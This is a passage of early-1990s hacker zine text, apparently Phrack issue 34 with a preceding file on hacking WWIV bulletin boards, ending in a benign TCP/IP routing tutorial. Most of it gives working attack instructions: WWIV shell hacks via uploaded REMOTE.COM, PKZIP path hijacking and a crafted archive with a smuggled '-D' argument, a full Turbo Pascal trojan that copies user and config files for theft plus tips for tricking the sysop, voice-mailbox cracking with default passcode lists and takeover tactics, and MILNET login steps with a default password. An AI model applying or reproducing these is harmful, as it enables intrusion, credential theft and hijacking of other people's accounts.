You can also have some fun with two strings that WWIV always recognizes at the NN: prompt: "!@‑NETWORK‑@!" and "!@‑REMOTE‑@!". The first is used by WWIVnet to tell the BBS that it is receiving a net call. If the BBS is part of a network and you type "!@‑NETWORK‑@!", it will then wait for the network password and other data. If the board is not part of a network, it will just act like you typed an invalid user name. The second string is reserved for whatever programs people wanted to write for WWIV, like an off‑line reader or whatever. Snarf (the file leeching utility) uses this. If there is not a REMOTE.EXE or REMOTE.COM in the main BBS directory, it will also act as if you entered an invalid user name. So, what you can do is wildcard upload either REMOTE.COM or NETWORK.COM. You want to call them COM files, because if the EXE files already exist, the COM ones will be called first. If the BBS is part of a network, you should go for REMOTE.COM, because if you do NETWORK.COM, it will screw up network communications and the sysop will notice a lot faster. Of course, if you're going straight in for the kill, it doesn't matter.

So, what should NETWORK.COM or REMOTE.COM actually be? you ask. Well, you can try renaming COMMAND.COM to one of those two, which would make a DOS shell for you when it was executed. This is tricky, though, because you need to know his DOS version. I suggest a batch file, compiled to a COM file using PC Mag's BAT2EXEC. You can make the batch file have one line:

\COMMAND

That way you don't have to worry about DOS versions.

Remember that this method of hacking WWIV is almost completely obsolete. It is just included for reference, or for some old board run from an empty house where the sysop logs on twice a year or something.

***

*** Technique #2: The PKZIP Archive Hack

***

Probably the most vulnerable part of WWIV is the archive section. This section allows users to unZIP files to a temporary directory and ZIP the files you want into a temporary ZIP file, then download it. This is useful if you download a file from another board, but one file in it is corrupted. This way you don't have to re‑download the whole file. Anyway, on with the show. Make a zip file that contains a file called PKZIP.BAT or COM or EXE. It doesn't matter. This file will be executed, so make it whatever you want, just like in Technique #1. Make it COMMAND.COM, or a batch file, or a HD destroyer, whatever you want. So you upload this file, and then type "E" to extract it.

It'll ask you what file to extract and you say the name of the file you just uploaded. It'll then say "Extract What? " and you say "*.*". It'll then unzip everything (your one file) into the TEMP directory. Then go to the archive menu ("G") and pick "A" to add a file to archive. It'll ask what file you want to add, and say anything, it doesn't matter. At this point it will try to execute the command:

PKZIP TEMP.ZIP \TEMP\%1

Where %1 is what you just entered. The file pointer is already pointing to the temp directory, so instead of executing PKZIP from the DOS path, it'll execute the file sitting in the current directory, TEMP. So then it runs PKZIP and you get your DOS shell or whatever.

If PKZIP does not work, you may want to try uploading another file, and use the same technique, but instead make it an ARC file and call the file in the archive PKPAK.

This technique is relatively easy to defeat from the sysop's end, but often they are too lazy, or just haven't heard about it.

***

*** Technique #3: The ‑D Archive Hack

***

This technique also plays on the openness of WWIV's archive system. This is another method of getting a file into the root BBS directory, or anywhere on the hard drive, for that matter.

First, create a temporary directory on your hard drive. It doesn't matter what it's called. We'll call it TEMP. Then, make a sub‑directory of TEMP called AA. It can actually be called any two‑character combination, but we'll keep it nice and simple. Then make a subdirectory of AA called WWIV.

Place NETWORK.COM or REMOTE.COM or whatever in the directory \TEMP\AA\WWIV. Then from the TEMP directory execute the command:

PKZIP ‑r ‑P STUFF.ZIP <‑‑‑ The case of "r" and "P" are important.

This will create a zip file of all the contents of the directories, but with all of the directory names recursed and stored. So if you do a PKZIP ‑V to list the files you should see AA\WWIV\REMOTE.COM, etc.

Next, load STUFF.ZIP into a hex editor, like Norton Utilities, and search for "AA". When you find it (it should occur twice), change it to "C:". It is probably a good idea to do this twice, once with the subdirectory called WWIV, and another with it called BBS, since those are the two most common main BBS directory names for WWIV. You may even want to try D: or E: in addition to C:. You could even work backwards, by forgetting the WWIV subdirectory, and just making it AA\REMOTE.COM, and changing the "AA" to "..". This would be foolproof. You could work from there, doing "..\..\DOS\PKZIP.COM" or whatever.

Then upload STUFF.ZIP (or whatever you want to call it) to the BBS, and type "E" to extract it to a temporary directory. It'll ask you what file. Type "STUFF.ZIP". It'll ask what you want to extract. Type """‑D". It'll then execute:

PKUNZIP STUFF.ZIP ""‑D

It will unzip everything into the proper directory. Voila. The quotation marks are ignored by PKUNZIP and are only there to trip up WWIV v4.20's check for the hyphen. This method can only be defeated by modifying the source code, or taking out the calls to any PKZIP or PKUNZIP programs in INIT, but then you lose your archive section.

***

*** Technique #4: The Trojan Horse File‑Stealer

***

This method, if executed properly, is almost impossible to defeat, and will conceivably work on any BBS program, if you know the directory structure well enough. Once again, you need PC Mag's BAT2EXEC, or enough programming experience to write a program that will copy files from one place to another. The basic principle is this: You get the sysop to run a program that you upload. This program copies \WWIV\DATA\USER.LST and \WWIV\CONFIG.DAT *over* files that already exist in the transfer or gfiles area. You then go download those files and you have the two most important files that exist for WWIV. Now, you need to do a certain amount of guess‑work here. WWIV has it's directories set up like this:

‑‑‑ TEMP

I ‑‑‑ DIR1

I I

I‑‑‑ DLOADS‑‑‑I‑‑‑ DIR2

I I

I ‑‑‑ DIR3

WWIV‑‑I‑‑‑ DATA

I ‑‑‑ GDIR1

I I

I‑‑‑ GFILES‑‑‑I‑‑‑ GDIR2

I I

I ‑‑‑ GDIR3

‑‑‑ MSGS

The sysop sets the names for the DIR1, DIR2, etc. Often you have names like UPLOADS, GAMES, UTILS, etc. For the gfile dirs you might have GENERAL, HUMOR, whatever.

So you have to make a guess at the sysop's directory names. Let's say he never moves his files from the upload directory. Then do a directory list from the transfer menu and pick two files that you don't think anyone will download. Let's say you see:

RABBIT .ZIP 164k : The History of Rabbits from Europe to the U.S. SCD .COM 12k : SuperCD ‑ changes dirs 3% faster than DOS's CD!

So you then might write a batch file like this:

@ECHO OFF

COPY \WWIV\DATA\USER.LST \WWIV\DLOADS\UPLOADS\RABBIT.ZIP

COPY \BBS\DATA\USER.LST \BBS\DLOADS\UPLOADS\RABBIT.ZIP

COPY \WWIV\CONFIG.DAT \WWIV\DLOADS\UPLOADS\SCD.COM

COPY \BBS\CONFIG.DAT \BBS\DLOADS\UPLOADS\SCD.COM

You'd then compile it to a COM file and upload it to the sysop directory. Obviously this file is going to be pretty small, so you have to make up plausible use for it. You could say it's an ANSI screen for your private BBS, and the sysop is invited. This is good if you have a fake account as the president of some big cracking group. You wouldn't believe how gullible some sysops are. At any rate, use your imagination to get him to run the file. And make it sound like he shouldn't distribute it, so he won't put it in some public access directory.

There is a problem with simply using a batch file. The output will look like:

1 file(s) copied.

File not found.

1 file(s) copied.

File not found.

That might get him curious enough to look at it with a hex editor, which would probably blow everything. That's why it's better to write a program in your favorite language to do this. Here is a program that searches specified drives and directories for CONFIG.DAT and USER.LST and copies them over the files of your choice. It was written in Turbo Pascal v5.5:

Program CopyThisOverThat;

{ Change the dir names to whatever you want. If you change the number of locations it checks, be sure to change the "num" constants as well }

uses dos;

const

NumMainDirs = 5;

MainDirs: array[1..NumMainDirs] of string[8] = ('BBS','WWIV','WORLD', 'BOARD','WAR');

NumGfDirs = 3;

GFDirs: array[1..NumGFDirs] of string[8] = ('DLOADS','FILES','UPLOADS'); NumSubGFDirs = 2;

SubGFDirs: array[1..NumSubGFDirs] of string[8] = ('UPLOADS','MISC');

NumDirsToTest = 3;

DirsToTest: array[1..NumDirsToTest] of string[3] = ('C:\','D:\','E:\'); {ok to test for one that doesn't exist}

{Source file names include paths from the MAIN BBS subdir (e.g. "BBS") }

SourceFileNames: array[1..2] of string[25] = ('DATA\USER.LST','DATA\CONFIG.DA T');

{ Dest file names are from subgfdirs }

DestFileNames: array[1..2] of string[12] = ('\BDAY.MOD','\TVK.ZIP');

var

p, q, r, x, y, dirN: byte;

bigs: word;

CurDir, BackDir: string[80];

f1, f2: file;

Info: pointer;

ok: boolean;

Procedure Sorry;

var

x, y: integer;

begin

for y := 1 to 1000 do

for x := 1 to 100 do

;

Writeln;

Writeln ('<THIS IS DISPLAYED WHEN FINISHED>'); {change to something like }

Writeln; Abnormal program termination}

ChDir(BackDir);

Halt;

end;

begin

Write ('<THIS IS DISPLAYED WHILE SEARCHING>'); {change to something like }

{$I‑} Loading...}

GetDir (0, BackDir);

ChDir('\');

for dirn := 1 to NumDirsToTest do

begin

ChDir(DirsToTest[dirn]);

if IOResult = 0 then

begin

for p := 1 to NumMainDirs do

begin

ChDir (MainDirs[p]);

if (IOResult <> 0) then

begin

if (p = NumMainDirs) and (dirn = NumDirsToTest) then Sorry;

end else begin

p := NumMainDirs;

for q := 1 to NumGFDirs do

begin

ChDir (GFDirs[q]);

if (IOResult <> 0) then

begin

if (q = NumGFDirs) and (dirn=NumdirsToTest) then Sorry;

end else begin

q := NumGFDirs;

for r := 1 to NumSubGFDirs do begin

ChDir (SubGFDirs[r]);

if (IOResult <> 0) then begin

if r = NumSubGFDirs then Sorry;

end else begin

r := NumSubGFDirs; dirn := NumDirsToTest; ok := true;

end;

end;

end;

end;

end;

end;

end;

end;

GetDir (0, CurDir);

ChDir ('..');

ChDir ('..');

for x := 1 to 2 do

begin

Assign (f1, SourceFileNames[x]);

Assign (f2, CurDir+DestFileNames[x]);

Reset (f1, 1);

if IOResult <> 0 then

begin

if x = 2 then

Sorry;

end else begin

ReWrite (f2, 1);

Bigs := FileSize(f1);

GetMem(Info, Bigs);

BlockRead(f1, Info^, Bigs);

BlockWrite (f2, Info^, Bigs);

FreeMem(Info, Bigs);

end;

end;

Sorry;

end.

So hopefully the sysop runs this program and emails you with something like "Hey it didn't work bozo!". Or you could make it work. You could actually stick a BBS ad in the program or whatever. It's up to you. At any rate, now you go download those files that it copied the USER.LST and CONFIG.DAT over. You can type out the CONFIG.DAT and the first word you see in all caps is the system password. There are several utilities for WWIV that let you compile the USER.LST to a text file. You can find something like that on a big WWIV board, or you can try to figure it out with a text or hex editor. At any rate, once you have those two files, you're in good shape.

You could also use a batch file like that in place of one that calls COMMAND.COM for something like REMOTE.COM. It's up to you.

***

*** Hacking Prevention

***

So you are the sysop of a WWIV board, and are reading this file with growing dismay. Have no fear, if you have patience, almost all of these methods can be fixed.

To eliminate the wildcard upload, all you have to do it get a current copy of WWIV (4.20), and the latest version of DSZ. It's all been fixed. To fix the PKZIP archive hack, simply specify a path in INIT in all calls to PKZIP, PKUNZIP, PKPAK, PKUNPAK, and any other archive programs you have. So your command lines should look like:

\DOS\PKZIP ‑V %1

Or something similar. That will fix that nicely. To eliminate the ‑D method, you have to make some modifications to the source code if you want to keep your archive section. Goose, sysop of the Twilight Zone BBS in VA, puts out a NOHACK mod, which is updated regularly. It fixes ALL of these methods except the last. The latest version of NOHACK is v2.4. If you are a WWIV sysop, put it in.

I can think of two ways to stop the last method, but neither of them are easy, and both require source code modifications. You could keep track of the filesize of a file when it's uploaded. Then when someone goes to download it, you could check the actual filesize with the size when it was uploaded. If they differ, it wouldn't let you download it. You could do the same with the date. Although either method could be gotten around with enough patience.

For a virtually unhackable system, voice validate all users, have all uploads go to the sysop directory so you can look over them first, and don't run any programs. Of course, this is very tedious, but that is the price of a secure BBS.

***

*** Thanks

***

Thanks to Fenris Wolf for teaching me about the ‑D method, to Steve for help with the CopyThisOverThat program, and to Insight for proofing this file.

Hacking Voice Mail Systems

==Phrack Inc.==

Volume Three, Issue Thirty‑four, File #6 of 11

HACKING VOICE MAIL SYSTEMS

by Night Ranger

DISCLAIMER

I, Night Ranger, or anyone else associated with Phrack, am not responsible for anything the readers of this text may do. This file is for informational and educational purposes only and should not be used on any system or network without written permission of the authorized persons in charge.

INTRODUCTION

I decided to write this text file because I received numerous requests for vmbs from people. Vmbs are quite easy to hack, but if one doesn't know where to start it can be hard. Since there aren't any decent text files on this subject, I couldn't refer them to read anything, and decided to write one myself. To the best of my knowledge, this is the most complete text on hacking vmb systems. If you have any comments or suggestions, please let me know.

Voice Mail Boxes (vmbs) have become a very popular way for hackers to get in touch with each other and share information. Probably the main reason for this is their simplicity and availability. Anyone can call a vmb regardless of their location or computer type. Vmbs are easily accessible because most are toll free numbers, unlike bulletin boards. Along with their advantages, they do have their disadvantages. Since they are easily accessible this means not only hackers and phreaks can get information from them, but feds and narcs as well. Often they do not last longer than a week when taken improperly. After reading this file and practicing the methods described, you should be able to hack voice mail systems with ease. With these thoughts in mind, let's get started.

FINDING A VMB SYSTEM

The first thing you need to do is find a VIRGIN (unhacked) vmb system. If you hack on a system that already has hackers on it, your chance of finding a box is considerably less and it increases the chance that the system administrator will find the hacked boxes. To find a virgin system, you need to SCAN some 800 numbers until you find a vmb. A good idea is to take the number of a voice mail system you know, and scan the same exchange but not close to the number you have.

FINDING VALID BOXES ON THE SYSTEM

If you get a high quality recording (not an answering machine) then it is probably a vmb system. Try entering the number 100, the recording should stop. If it does not, you may have to enter a special key (such as '*' '#' '8' or '9') to enter the voice mail system. After entering 100 it should either connect you to something or do nothing. If it does nothing, keep entering (0)'s until it does something. Count the number of digits you entered and this will tell you how many digits the boxes on the system are. You should note that many systems can have more than one box length depending on the first number you enter, Eg. Boxes starting with a six can be five digits while boxes starting with a seven can only be four. For this file we will assume you have found a four digit system, which is pretty common. It should do one of the following things...

1) Give you an error message, Eg. 'Mailbox xxxx is invalid.'

2) Ring the extension and then one of the following..

1) Someone or no one answers.

2) Connects you to a box.

3) Connect you to mailbox xxxx.

If you get #1 then try some more numbers. If you get #2 or #3 then you have found a valid vmb (or extension in the case of 2‑1). Extensions usually have a vmb for when they are not at their extension. If you get an extension, move on. Where you find one box you will probably find more surrounding it. Sometimes a system will try to be sneaky and put one valid vmb per 10 numbers. Eg. Boxes would be at 105, 116, 121, ... with none in between. Some systems start boxes at either 10 after a round number or 100 after, depending on whether it is a three or four box system. For example, if you do not find any around 100, try 110 and if you do not find any around 1000 try 1100. The only way to be sure is to try EVERY possible box number. This takes time but can be worth it.

Once you find a valid box (even if you do not know the passcode) there is a simple trick to use when scanning for boxes outside of a vmb so that it does not disconnect you after three invalid attempts. What you do is try two box numbers and then the third time enter a box number you know is valid. Then abort ( usually by pressing (*) or (#) ) and it will start over again. From there you can keep repeating this until you find a box you can hack on.

FINDING THE LOGIN SEQUENCE

Different vmb systems have different login sequences (the way the vmb owner gets into his box). The most common way is to hit the pound (#) key from the main menu. This pound method works on most systems, including Aspens (more on specific systems later). It should respond with something like 'Enter your mailbox.' and then 'Enter your passcode.' Some systems have the asterisk (*) key perform this function. Another login method is hitting a special key during the greeting (opening message) of the vmb. On a Cindy or Q Voice Mail system you hit the zero (0) key during the greet and since you've already entered your mailbox number it will respond with 'Enter your passcode.' If (0) doesn't do anything try (#) or (*). These previous two methods of login are the most common, but it is possible some systems will not respond to these commands. If this should happen, keep playing around with it and trying different keys. If for some reason you cannot find the login sequence, then save this system for later and move on.

GETTING IN

This is where the basic hacking skills come to use. When a system administrator creates a box for someone, they use what's called a default passcode. This same code is used for all the new boxes on the system, and often on other systems too. Once the legitimate owner logs into his new vmb, they are usually prompted to change the passcode, but not everyone realizes that someone will be trying to get into their mailbox and quite a few people leave their box with the default passcode or no passcode at all. You should try ALL the defaults I have listed first.

DEFAULTS BOX NUMBER TRY

box number (bn) 3234 3234 Most Popular

bn backwards 2351 1532 Popular

bn+'0' 323 3230 Popular With Aspens

Some additional defaults in order of most to least common are:

4d 5d 6d

0000 00000 000000 *MOST POPULAR*

9999 99999 999999 *POPULAR*

1111 11111 111111 *POPULAR*

1234 12345 123456 *VERY POPULAR WITH OWNERS*

4321 54321 654321

6789 56789 456789

9876 98765 987654

2222 22222 222222

3333 33333 333333

4444 44444 444444

5555 55555 555555

6666 66666 666666

7777 77777 777777

8888 88888 888888

1991

It is important to try ALL of these before giving up on a system. If none of these defaults work, try anything you think may be their passcode. Also remember that just because the system can have a four digit passcode the vmb owner does not have to have use all four digits. If you still cannot get into the box, either the box owner has a good passcode or the system uses a different default. In either case, move on to another box. If you seem to be having no luck, then come back to this system later. There are so many vmb systems you should not spend too much time on one hard system.

If there's one thing I hate, it's a text file that says 'Hack into the system. Once you get in...' but unlike computer systems, vmb systems really are easy to get into. If you didn't get in, don't give up! Try another system and soon you will be in. I would say that 90% of all voice mail systems have a default listed above. All you have to do is find a box with one of the defaults.

ONCE YOU'RE IN

The first thing you should do is listen to the messages in the box, if there are any. Take note of the dates the messages were left. If they are more than four weeks old, then it is pretty safe to assume the owner is not using his box. If there are any recent messages on it, you can assume he is currently using his box. NEVER take a box in use. It will be deleted soon, and will alert the system administrator that people are hacking the system. This is the main reason vmb systems either go down, or tighten security. If you take a box that is not being used, it's probable no one will notice for quite a while.

SCANNING BOXES FROM THE INSIDE

>From the main menu, see if there is an option to either send a message to another user or check receipt of a message. If there is you can search for VIRGIN (unused) boxes) without being disconnected like you would from outside of a box. Virgin boxes have a 'generic' greeting and name. Eg. 'Mailbox xxx' or 'Please leave your message for mailbox xxx...' Write down any boxes you find with a generic greeting or name, because they will probably have the default passcode. Another sign of a virgin box is a name or greeting like 'This mailbox is for ...' or a women's voice saying a man's name and vice versa, which is the system administrator's voice. If the box does not have this feature, simply use the previous method of scanning boxes from the outside. For an example of interior scanning, when inside an Aspen box, chose (3) from the main menu to check for receipt. It will respond with 'Enter box number.' It is a good idea to start at a location you know there are boxes present and scan consecutively, noting any boxes with a 'generic' greeting. If you enter an invalid box it will alert you and allow you to enter another. You can enter invalid box numbers forever, instead of the usual three incorrect attempts from outside a box.

TAKING A BOX

Now you need to find a box you can take over. NEVER take a box in use; it simply won't last. Deserted boxes (with messages from months ago) are the best and last the longest. Take these first. New boxes have a chance of lasting, but if the person for whom the box was created tries to login, you'll probably lose it. If you find a box with the system administrator's voice saying either the greeting or name (quite common), keeping it that way will prolong the box life, especially the name.

This is the most important step in taking over a box! Once you pick a box take over, watch it for at least three days BEFORE changing anything! Once you think it's not in use, then change only the passcode, nothing else! Then login frequently for two to three days to monitor the box and make sure no one is leaving messages in it. Once you are pretty sure it is deserted, change your greeting to something like 'Sorry I'm not in right now, please leave your name and number and I'll get back to you.' DO NOT say 'This is Night Ranger dudes...' because if someone hears that it's good as gone. Keep your generic greeting for one week. After that week, if there are no messages from legitimate people, you can make your greeting say whatever you want. The whole process of getting a good vmb (that will last) takes about 7‑10 days, the more time you take the better chance you have of keeping it for long time. If you take it over as soon as you get in, it'll probably last you less than a week. If you follow these instructions, chances are it will last for months. When you take some boxes, do not take too many at one time. You may need some to scan from later. Plus listening to the messages of the legitimate users can supply you with needed information, such as the company's name, type of company, security measures, etc.

SYSTEM IDENTIFICATION

After you have become familiar with various systems, you will recognize them by their characteristic female (or male) voice and will know what defaults are most common and what tricks you can use. The following is a few of a few popular vmb systems.

ASPEN is one of the best vmb systems with the most features. Many of them will allow you to have two greetings (a regular and an extended absence greeting), guest accounts, urgent or regular messages, and numerous other features. Aspens are easy to recognize because the female voice is very annoying and often identifies herself as Aspen. When you dial up an Aspen system, sometimes you have to enter an (*) to get into the vmb system. Once you're in you hit (#) to login. The system will respond with 'Mailbox number please?' If you enter an invalid mailbox the first time it will say 'Mailbox xxx is invalid...' and the second time it will say 'You dialed xxx, there is no such number...' and after a third incorrect entry it will hang up. If you enter a valid box, it will say the box owner's name and 'Please enter your passcode.' The most common default for Aspens is either box number or box number + (0). You only get three attempts to enter a correct box number and then three attempts to enter a correct passcode until it will disconnect you. From the main menu of an Aspen box you can enter (3) to scan for other boxes so you won't be hung up like you would from outside the box.

CINDY is another popular system. The system will start by saying 'Good Morning/Afternoon/Evening. Please enter the mailbox number you wish...' and is easy to identify. After three invalid box entries the system will say 'Good Day/Evening!' and hang up. To login, enter the box number and during the greet press (0) then your passcode. The default for ALL Cindy systems is (0). From the main menu you can enter (6) to scan for other boxes so you won't be hung up. Cindy voice mail systems also have a guest feature, like Aspens. You can make a guest account for someone, and give them password, and leave them messages. To access their guest account, they just login as you would except they enter their guest passcode. Cindy systems also have a feature where you can have it call a particular number and deliver a recorded message. However, I have yet to get this feature to work on any Cindy boxes that I have.

MESSAGE CENTER is also very popular, especially with direct dials. To login on a Message Center, hit the (*) key during the greet and the system will respond with 'Hello <name>. Please enter your passcode.' These vmbs are very tricky with their passcode methods. The first trick is when you enter an invalid passcode it will stop you one digit AFTER the maximum passcode length. Eg. If you enter 1‑2‑3‑4‑5 and it gives you an error message you enter the fifth digit, that means the system uses a four digit passcode, which is most common on Message Centers. The second trick is that if you enter an invalid code the first time, no matter what you enter as the second passcode it will give you an error message and ask again. Then if you entered the correct passcode the second and third time it will let you login. Also, most Message Centers do not have a default, instead the new boxes are 'open' and when you hit (*) it will let you in. After hitting (*) the first time to login a box you can hit (*) again and it will say 'Welcome to the Message Center.' and from there you can dial other extensions. This last feature can be useful for scanning outside a box. To find a new box, just keep entering box numbers and hitting (*) to login. If it doesn't say something to the effect of welcome to your new mailbox then just hit (*) again and it will send you back to the main system so you can enter another box. This way you will not be disconnected. Once you find a box, you can enter (6) 'M'ake a message to scan for other boxes with generic names. After hitting (6) it will ask for a mailbox number. You can keep entering mailbox numbers until you find a generic one. Then you can cancel your message and go hack it out.

Q VOICE MAIL is a rather nice system but not as common. It identifies itself 'Welcome to Q Voice Mail Paging' so there is no question about what system it is. The box numbers are usually five digits and to login you enter (0) like a Cindy system. From the main menu you can enter (3) to scan other boxes.

There are many more systems I recognize but do not know the name for them. You will become familiar with these systems too.

CONCLUSION

You can use someone else's vmb system to practice the methods outlined above, but if you want a box that will last you need to scan out a virgin system. If you did everything above and could not get a vmb, try again on another system. If you follow everything correctly, I guarantee you will have more vmbs than you know what to do with. When you start getting a lot of them, if you are having trouble, or just want to say hi be sure to drop me a line on either of my internet addresses, or leave me a voice mail message.

NOTE: Some information was purposely not included in this file to prevent abuse to various systems.

Night Ranger

gbatson@clutx.clarkson.edu

1‑800‑666‑2336 Box 602 (After Business Hours) 1‑800‑435‑2008 Box 896 (After Business Hours)

An Introduction to MILNET

==Phrack Inc.==

Volume Three, Issue Thirty‑four, File #7 of 11

___________________

|

| : : : : : : : : :

| : Brigadier General Swipe : |

| : : : : : : : : :

|

| presents: |

___________________

|

| An Introduction to MILNET |

|

|___________________

: :Introduction: :

First of all MILNET is a system used by branches of the military for unclassified communications. MILNET produces that infamous TAC login xxx. TAC MILNET is run out of the University of Southern California. USC is the ISI master dial up. I would also like to point out that the Department of Defense tends to frown on people browsing through there system. With that in mind, here is a basic overview of MILNET operations.

: :Logging On: :

MILNET can be reached over through the "nets" or can be directly connected to by dialing 1‑800‑368‑2217 or 213‑306‑1366. The later is the ISI master dial up. Most military bases connect through the 800 dial up owned by AT&T.

ISIE MASTER LOGON PROCEDURE

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1> call 213‑306‑1366

2> when the phone stops ringing you are connected

3> enter location number (9 digits) + 1 or 0

4> hang up and it will call you

5> pick up the phone and hit the '*' on your phone

6> hit a carriage return on the computer

7> at the 'what class?' prompt hit RETURN

8> then a 'go' prompt will appear and log on as you would the 800 number.

MILNET LOGIN PROCEDURE

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

> When you first connect you will see:

'WELCOME TO DDN. FOR OFFICIAL USE ONLY.TAC LOGIN

CALL NIC 1‑800‑235‑3155 FOR HELP

WRPAT TAC 113 #:36

> the person logging on types:

@o 1/103

YOU ALWAYS TYPE @o then other connections are: ISIA 3/103 ISIB 10:3/52 ISID 10:0/27 ISIE 1/103 (THE EXAMPLE) ISIF 2/103 VAX A 10:2/27

> Next you will see a 'USER‑ID' prompt. The first 4 characters vary but it is is always followed by a '‑' and what ever connection you choose.

User‑Id: (example) CER5‑ISIE or MRW1‑ISIE

> The first three letters are the initials of the user followed by a random number (1‑9).

Access Code: (example) 2285UNG6A or 22L8KK5CH

> An access code will never contain a ( 1, 0, G, Z).

@ USERNAME + PASSWORD IE USERNAME SAC.512AREFW‑LGTO

THE USERNAME EXPLANATION:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The first 3 letters in the example given above are SAC. This stands for Strategic Air Command, a branch of the Air Force. Following that is a "." Then the unit number and the prime mission. In this case 512AREFW", (512th AIR REFUELING WING). Then a '‑' and the Individual Squadron name 'LGTO' (LOGISTICS GROUND TRANSPORTATION OPERATIONS), a fancy name for the motor pool. The password will not be echoed back and should be entered after the username. The new user password as a default is: NEW‑UZER‑ACNT.

: :Options: :

PROGRAMS AVAILABLE TO SAC USERS:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

ADUTY aids in management of additional duty assignments. (International help ‑ use the ? and <ESC> keys, HELP.)

ARCHIVE requests files to be stored on tape for later retrieval. (Type HELP ARCHIVE <RET> at TOPS‑20.)

CHAT Provides near real time communication between terminal users on the same host computer.

(Use ? with CHAT.)

DAILY Executive appointment scheduling program

DCOPY Handles output on DIABLO and XEROX printers

EMACS Powerful full‑screen text editor

FOLLOW Suspense follow up program

FTP provides file transfer capabilities between host computers

FKEYS allows user to define function key (real spiffaruni)

HELP the command used by stupid generals or hackers that have never used milnet before

HERMES E‑Mail

NCPCALC spreadsheet program

PHOTO saves transcripts of sessions

REMIND sends user‑created reminders

RIPSORT a sophisticated data sorting program

(Described in SAC's User manual (sorry))

SCRIBE a powerful text formatter for preparing documents. (ISI's manual, SCRIBE manual ‑ soon on MILNET V.2)

SPELL text file spelling checker.

(HELP at TOPS‑20 and <DOCUMENTATION> directory international help ‑?)

SUSCON allows the creating, sending, and clearing of suspenses. (international help ‑ ? and <ESC>, HELP command)

TACOPY used for printing hard copies of files (international help ‑ ?)

TALK pretty much the same as chat.

TIPCOPY predecessor of TACOPY

TEACH‑EMACS (SELF EXPLANATORY: GIVES LIST OF COMMANDS)

TN Tel‑Net provides multi‑host access on MILNET. (HELP at TOPS‑20 and <DOCUMENTATION> directory, international help ‑ use ? and <ESC>)

XED line oriented text editor.

(HELP at TOPS‑20 and <DOCUMENTATION> directory)

: :Logging Out: :

TYPE: @L

: :ID Card: :

When a user gets a MILNET account he/she receives a card in the mail that looks similar to the diagram below. It is credit card sized and will be blue & white.

_______________________________________

/

| HOST USC‑ISIE 26.1.0.103 |

| HOST ADMINISTRATOR GORDON,VICKI L. |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| DDN CARD HOLDER: |

| SMITH, BILL A, 1st LT. |

| CARD 418475 |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| USER ID:CER5‑ISIE |

| ACCESS CODE:2285ANI6A |

| USERNAME: SAC.512AREFW‑LGTO |

| PASSWORD: NEW‑UZER‑ACNT |

\_______________________________________

________________________________________

: : : : : : : : : : : : : : : : : : : :

TCP/IP

==Phrack Inc.==

Volume Three, Issue Thirty‑Four, File #8 of 11

A TCP/IP Tutorial : Behind The Internet Part Two of Two

October 4th, 1991

Presented by The Not

5. Internet Protocol

The IP module is central to internet technology and the essence of IP is its route table. IP uses this in‑memory table to make all decisions about routing an IP packet. The content of the route table is defined by the network administrator. Mistakes block communication.

To understand how a route table is used is to understand internetworking. This understanding is necessary for the successful administration and maintenance of an IP network.

The route table is best understood by first having an overview of routing, then learing about IP network addresses, and then looking at the details.

5.1 Direct Routing

The figure below is of a tiny internet with 3 computers: A, B, and C. Each computer has the same TCP/IP protocol stack as in Figure 1. Each computer's Ethernet interface has its own Ethernet address. Each computer has an IP address assigned to the IP interface by the network manager, who also has assigned an IP network number to the Ethernet.

A B C

| |

‑‑o‑‑‑‑‑‑o‑‑‑‑‑‑o‑Ethernet 1 IP network "development"

Figure 6. One IP Network

When A sends an IP packet to B, the IP header contains A's IP address as the source IP address, and the Ethernet header contains A's Ethernet address as the source Ethernet address. Also, the IP header contains B's IP address as the destination IP address and the Ethernet header contains B's Ethernet address as the des

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|address source destination|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|IP header A B | |Ethernet header A B |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

TABLE 5. Addresses in an Ethernet frame for an IP packet

from A to B

For this simple case, IP is overhead because the IP adds little to the service offered by Ethernet. However, IP does add cost: the extra CPU processing and network bandwidth to generate, transmit, and parse the IP header.

When B's IP module receives the IP packet from A, it checks the destination IP address against its own, looking for a match, then it passes the datagram to the upper‑level protocol.

This communication between A and B uses direct routing.

5.2 Indirect Routing

The figure below is a more realistic view of an internet. It is composed of 3 Ethernets and 3 IP networks connected by an IP‑router called computer D. Each IP network has 4 computers; each computer has its own IP address and Ethernet address.

A B C ‑‑‑‑D‑‑‑‑ E F G

| | | | | |

‑‑o‑‑‑‑‑‑o‑‑‑‑‑‑o‑‑‑‑‑‑o‑ | ‑o‑‑‑‑‑‑o‑‑‑‑‑‑o‑‑‑‑‑‑o‑Ethernet 1 | Ethernet 2

IP network "development" | IP network "accounting"

|

|

| H I J

|

‑‑o‑‑‑‑‑o‑‑‑‑‑‑o‑‑‑‑‑‑o‑‑

Ethernet 3

IP network "factory"

Figure 7. Three IP Networks; One internet

Except for computer D, each computer has a TCP/IP protocol stack like that in Figure 1. Computer D is the IP‑router; it is connected to all 3 networks and therefore has 3 IP addresses and 3 Ethernet addresses. Computer D has a TCP/IP protocol stack similar to that in Figure 3, except that it has 3 ARP modules and 3 Ethernet drivers instead of 2. Please note that computer D has only one IP module.

The network manager has assigned a unique number, called an IP network number, to each of the Ethernets. The IP network numbers are not shown in this diagram, just the network names.

When computer A sends an IP packet to computer B, the process is identical to the single network example above. Any communication between computers located on a single IP network matches the direct routing example discussed previously.

When computer D and A communicate, it is direct communication. When computer D and E communicate, it is direct communication. When computer D and H communicate, it is direct communication. This is because each of these pairs of computers is on the same IP network.

However, when computer A communicates with a computer on the far side of the IP‑router, communication is no longer direct. A must use D to forward the IP packet to the next IP network. This communication is called "indirect".

